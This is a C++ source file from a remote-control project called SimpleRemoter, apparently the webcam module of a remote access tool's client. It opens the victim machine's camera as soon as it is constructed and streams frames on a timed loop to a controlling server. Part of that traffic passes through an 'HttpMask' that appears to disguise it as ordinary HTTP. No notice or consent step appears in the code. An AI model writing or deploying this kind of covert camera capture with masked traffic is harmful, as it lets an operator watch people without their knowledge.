Files
SimpleRemoter/client/VideoManager.cpp
2025-10-19 09:04:27 +02:00

193 lines
5.4 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "VideoManager.h"
#include "Common.h"
#include <iostream>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsCompress = false;
m_pVideoCodec = NULL;
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // 开启
lpBuffer = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
}
DWORD CVideoManager::WorkThread(LPVOID lParam)
{
CVideoManager *This = (CVideoManager *)lParam;
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize
This->m_bIsCompress=true; //如果初始化成功就设置可以压缩
Mprintf("压缩视频进行传输.\n");
}
This->SendBitMapInfor(); //发送bmp位图结构
// 等控制端对话框打开
This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
const int fps = 8;// 帧率
#endif
const int sleep = 1000 / fps;// 间隔时间ms
timeBeginPeriod(1);
while (This->m_bIsWorking) {
// 限制速度
int span = sleep-(GetTickCount64() - dwLastScreen);
Sleep(span > 0 ? span : 1);
if (span < 0)
Mprintf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount64();
if(FALSE == This->SendNextScreen())
break;
}
timeEndPeriod(1);
This->Destroy();
Mprintf("CVideoManager WorkThread end\n");
return 0;
}
CVideoManager::~CVideoManager()
{
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
Mprintf("CVideoManager ~CVideoManager \n");
if (m_pVideoCodec) { //压缩类
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
if (lpBuffer)
delete [] lpBuffer;
}
void CVideoManager::Destroy()
{
m_bIsWorking = FALSE;
Mprintf("CVideoManager Destroy \n");
if (m_pVideoCodec) { //压缩类
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
}
void CVideoManager::SendBitMapInfor()
{
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
}
BOOL CVideoManager::SendNextScreen()
{
DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
if(lpDIB == NULL)
return FALSE;
// token + IsCompress + m_fccHandler + DIB
const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //压缩
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区
UINT nPacketLen = 0;
if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩
int nCompressLen = 0;
//这里压缩视频数据了
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
&nCompressLen, NULL);
if (!nCompressLen) {
// some thing error
return FALSE;
}
//重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理
//到主控端的void CVideoDlg::OnReceiveComplete(void)
nPacketLen = nCompressLen + nHeadLen;
} else {
//不压缩 永远不来
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
nPacketLen = dwBmpImageSize+ nHeadLen;
}
m_CapVideo.SendEnd(); //copy send
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
return TRUE;
}
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_NEXT: {
NotifyDialogIsOpen();
break;
}
case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩
// 如果解码器初始化正常,就启动压缩功能
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
Mprintf("压缩视频进行传输.\n");
break;
}
case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输
InterlockedExchange((LPLONG)&m_bIsCompress, false);
Mprintf("不压缩视频进行传输.\n");
break;
}
}
}
BOOL CVideoManager::Initialize()
{
BOOL bRet = TRUE;
if (m_pVideoCodec!=NULL) {
delete m_pVideoCodec;
m_pVideoCodec=NULL;
}
if (m_fccHandler==0) { //不采用压缩
bRet= FALSE;
return bRet;
}
m_pVideoCodec = new CVideoCodec;
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
delete m_pVideoCodec;
bRet=FALSE;
// 置NULL, 发送时判断是否为NULL来判断是否压缩
m_pVideoCodec = NULL;
}
return bRet;
}